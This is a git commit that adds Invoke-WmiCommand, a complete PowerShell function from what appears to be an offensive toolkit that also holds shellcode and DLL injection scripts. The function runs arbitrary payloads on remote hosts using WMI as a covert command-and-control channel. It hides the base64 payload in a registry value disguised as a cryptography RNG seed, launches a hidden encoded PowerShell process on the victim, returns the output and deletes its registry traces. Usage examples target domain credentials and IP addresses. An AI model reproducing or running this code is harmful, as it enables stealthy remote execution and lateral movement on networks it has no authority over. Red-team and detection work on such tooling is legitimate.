Adding Invoke-WmiCommand
This commit is contained in:
parent
5ce61e40f5
commit
03ed2adb56
|
|
@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID =
|
||||||
|
|
||||||
# List of all files packaged with this module
|
# List of all files packaged with this module
|
||||||
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
|
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1',
|
||||||
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md'
|
'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
|
||||||
|
|
||||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||||
# PrivateData = ''
|
# PrivateData = ''
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,334 @@
|
||||||
|
#Requires -Version 2
|
||||||
|
|
||||||
|
function Invoke-WmiCommand {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Executes a PowerShell ScriptBlock on a target computer using WMI as a
|
||||||
|
pure C2 channel.
|
||||||
|
|
||||||
|
Author: Matthew Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
Optional Dependencies: None
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
|
||||||
|
computer using WMI as a pure C2 channel. It does this by using the
|
||||||
|
StdRegProv WMI registry provider methods to store a payload into a
|
||||||
|
registry value. The command is then executed on the victim system and
|
||||||
|
the output is stored in another registry value that is then retrieved
|
||||||
|
remotely.
|
||||||
|
|
||||||
|
.PARAMETER Payload
|
||||||
|
|
||||||
|
Specifies the payload to be executed on the remote system.
|
||||||
|
|
||||||
|
.PARAMETER RegistryKeyPath
|
||||||
|
|
||||||
|
Specifies the registry key where the payload and payload output will
|
||||||
|
be stored.
|
||||||
|
|
||||||
|
.PARAMETER RegistryPayloadValueName
|
||||||
|
|
||||||
|
Specifies the registry value name where the payload will be stored.
|
||||||
|
|
||||||
|
.PARAMETER RegistryResultValueName
|
||||||
|
|
||||||
|
Specifies the registry value name where the payload output will be
|
||||||
|
stored.
|
||||||
|
|
||||||
|
.PARAMETER ComputerName
|
||||||
|
|
||||||
|
Runs the command on the specified computers. The default is the local
|
||||||
|
computer.
|
||||||
|
|
||||||
|
Type the NetBIOS name, an IP address, or a fully qualified domain
|
||||||
|
name of one or more computers. To specify the local computer, type
|
||||||
|
the computer name, a dot (.), or "localhost".
|
||||||
|
|
||||||
|
This parameter does not rely on Windows PowerShell remoting. You can
|
||||||
|
use the ComputerName parameter even if your computer is not
|
||||||
|
configured to run remote commands.
|
||||||
|
|
||||||
|
.PARAMETER Credential
|
||||||
|
|
||||||
|
Specifies a user account that has permission to perform this action.
|
||||||
|
The default is the current user. Type a user name, such as "User01",
|
||||||
|
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
|
||||||
|
object, such as an object that is returned by the Get-Credential
|
||||||
|
cmdlet. When you type a user name, you will be prompted for a
|
||||||
|
password.
|
||||||
|
|
||||||
|
.PARAMETER Impersonation
|
||||||
|
|
||||||
|
Specifies the impersonation level to use. Valid values are:
|
||||||
|
|
||||||
|
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
|
||||||
|
|
||||||
|
1: Anonymous (Hides the credentials of the caller.)
|
||||||
|
|
||||||
|
2: Identify (Allows objects to query the credentials of the caller.)
|
||||||
|
|
||||||
|
3: Impersonate (Allows objects to use the credentials of the caller.)
|
||||||
|
|
||||||
|
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
|
||||||
|
|
||||||
|
.PARAMETER Authentication
|
||||||
|
|
||||||
|
Specifies the authentication level to be used with the WMI connection. Valid values are:
|
||||||
|
|
||||||
|
-1: Unchanged
|
||||||
|
|
||||||
|
0: Default
|
||||||
|
|
||||||
|
1: None (No authentication in performed.)
|
||||||
|
|
||||||
|
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
|
||||||
|
|
||||||
|
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
|
||||||
|
|
||||||
|
4: Packet (Authentication is performed on all the data that is received from the client.)
|
||||||
|
|
||||||
|
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
|
||||||
|
|
||||||
|
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
|
||||||
|
|
||||||
|
.PARAMETER EnableAllPrivileges
|
||||||
|
|
||||||
|
Enables all the privileges of the current user before the command
|
||||||
|
makes the WMI call.
|
||||||
|
|
||||||
|
.PARAMETER Authority
|
||||||
|
|
||||||
|
Specifies the authority to use to authenticate the WMI connection.
|
||||||
|
You can specify standard NTLM or Kerberos authentication. To use
|
||||||
|
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
|
||||||
|
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
|
||||||
|
specify kerberos:<DomainName\ServerName>. You cannot include the
|
||||||
|
authority setting when you connect to the local computer.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\>$Hosts = Get-Content hostnames.txt
|
||||||
|
PS C:\>$Payload = Get-Content payload.ps1
|
||||||
|
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
|
||||||
|
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\>$Payload = Get-Content payload.ps1
|
||||||
|
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
|
||||||
|
|
||||||
|
.INPUTS
|
||||||
|
|
||||||
|
System.String[]
|
||||||
|
|
||||||
|
Accepts one or more host names/IP addresses over the pipeline.
|
||||||
|
|
||||||
|
.OUTPUTS
|
||||||
|
|
||||||
|
System.Management.Automation.PSObject
|
||||||
|
|
||||||
|
Outputs a custom object consisting of the target computer name and
|
||||||
|
the output of the command executed.
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
|
||||||
|
In order to receive the output from your payload, it must return
|
||||||
|
actual objects. For example, Write-Host doesn't return objects
|
||||||
|
rather, it writes directly to the console. If you're using
|
||||||
|
Write-Host in your scripts though, you probably don't deserve to get
|
||||||
|
the output of your payload back. :P
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
|
[Parameter( Mandatory = $True )]
|
||||||
|
[ScriptBlock]
|
||||||
|
$Payload,
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateSet( 'HKEY_LOCAL_MACHINE',
|
||||||
|
'HKEY_CURRENT_USER',
|
||||||
|
'HKEY_CLASSES_ROOT',
|
||||||
|
'HKEY_USERS',
|
||||||
|
'HKEY_CURRENT_CONFIG' )]
|
||||||
|
$RegistryHive = 'HKEY_CURRENT_USER',
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$RegistryPayloadValueName = 'Seed',
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$RegistryResultValueName = 'Value',
|
||||||
|
|
||||||
|
[Parameter( ValueFromPipeline = $True )]
|
||||||
|
[Alias('Cn')]
|
||||||
|
[String[]]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$ComputerName = 'localhost',
|
||||||
|
|
||||||
|
[Management.Automation.PSCredential]
|
||||||
|
[Management.Automation.CredentialAttribute()]
|
||||||
|
$Credential,
|
||||||
|
|
||||||
|
[Management.ImpersonationLevel]
|
||||||
|
$Impersonation,
|
||||||
|
|
||||||
|
[System.Management.AuthenticationLevel]
|
||||||
|
$Authentication,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$EnableAllPrivileges,
|
||||||
|
|
||||||
|
[String]
|
||||||
|
$Authority
|
||||||
|
)
|
||||||
|
|
||||||
|
BEGIN {
|
||||||
|
switch ($RegistryHive) {
|
||||||
|
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
|
||||||
|
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
|
||||||
|
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
|
||||||
|
'HKEY_USERS' { $Hive = 2147483651 }
|
||||||
|
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
|
||||||
|
}
|
||||||
|
|
||||||
|
$WmiMethodArgs = @{}
|
||||||
|
|
||||||
|
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
|
||||||
|
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
|
||||||
|
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
|
||||||
|
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
|
||||||
|
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
|
||||||
|
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
|
||||||
|
|
||||||
|
$AccessPermissions = @{
|
||||||
|
KEY_QUERY_VALUE = 1
|
||||||
|
KEY_SET_VALUE = 2
|
||||||
|
KEY_CREATE_SUB_KEY = 4
|
||||||
|
KEY_CREATE = 32
|
||||||
|
DELETE = 65536
|
||||||
|
}
|
||||||
|
|
||||||
|
# These are all of the registry permissions we'll require
|
||||||
|
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
|
||||||
|
$AccessPermissions['KEY_SET_VALUE'] -bor
|
||||||
|
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
|
||||||
|
$AccessPermissions['KEY_CREATE'] -bor
|
||||||
|
$AccessPermissions['DELETE']
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
foreach ($Computer in $ComputerName) {
|
||||||
|
# Pass the individual computer name to Invoke-WmiMethod
|
||||||
|
$WmiMethodArgs['ComputerName'] = $Computer
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||||
|
|
||||||
|
if ($Result.ReturnValue -ne 0) {
|
||||||
|
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
|
||||||
|
|
||||||
|
if (-not $Result.bGranted) {
|
||||||
|
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
|
||||||
|
}
|
||||||
|
|
||||||
|
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
|
||||||
|
|
||||||
|
if ($Result.ReturnValue -ne 0) {
|
||||||
|
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Prep the script runner payload from the remote system
|
||||||
|
$PayloadRunnerArgs = @"
|
||||||
|
`$Hive = '$Hive'
|
||||||
|
`$RegistryKeyPath = '$RegistryKeyPath'
|
||||||
|
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
|
||||||
|
`$RegistryResultValueName = '$RegistryResultValueName'
|
||||||
|
`n
|
||||||
|
"@
|
||||||
|
|
||||||
|
$RemotePayloadRunner = $PayloadRunnerArgs + {
|
||||||
|
$WmiMethodArgs = @{
|
||||||
|
Namespace = 'Root\default'
|
||||||
|
Class = 'StdRegProv'
|
||||||
|
}
|
||||||
|
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||||
|
|
||||||
|
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
|
||||||
|
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
|
||||||
|
|
||||||
|
$SerilizedPayloadResult = Invoke-Expression ($Payload) | % {
|
||||||
|
[Management.Automation.PSSerializer]::Serialize($_, 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName
|
||||||
|
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
|
||||||
|
|
||||||
|
$Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
|
||||||
|
|
||||||
|
# Execute the payload runner on the remote system
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
|
||||||
|
|
||||||
|
Start-Sleep -Seconds 5
|
||||||
|
|
||||||
|
if ($Result.ReturnValue -ne 0) {
|
||||||
|
throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
|
||||||
|
|
||||||
|
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||||
|
|
||||||
|
if ($Result.ReturnValue -ne 0) {
|
||||||
|
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||||
|
|
||||||
|
$SerilizedPayloadResult = $Result.sValue
|
||||||
|
$PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult)
|
||||||
|
|
||||||
|
$FinalResult = New-Object PSObject -Property @{
|
||||||
|
PSComputerName = $Computer
|
||||||
|
PayloadOutput = $PayloadResult
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
|
||||||
|
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
|
||||||
|
|
||||||
|
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
|
||||||
|
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
|
||||||
|
|
||||||
|
return $FinalResult
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca
|
||||||
|
|
||||||
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
|
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
|
||||||
|
|
||||||
|
#### `Invoke-WmiCommand`
|
||||||
|
|
||||||
|
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
|
||||||
|
|
||||||
## ScriptModification
|
## ScriptModification
|
||||||
|
|
||||||
**Modify and/or prepare scripts for execution on a compromised machine.**
|
**Modify and/or prepare scripts for execution on a compromised machine.**
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue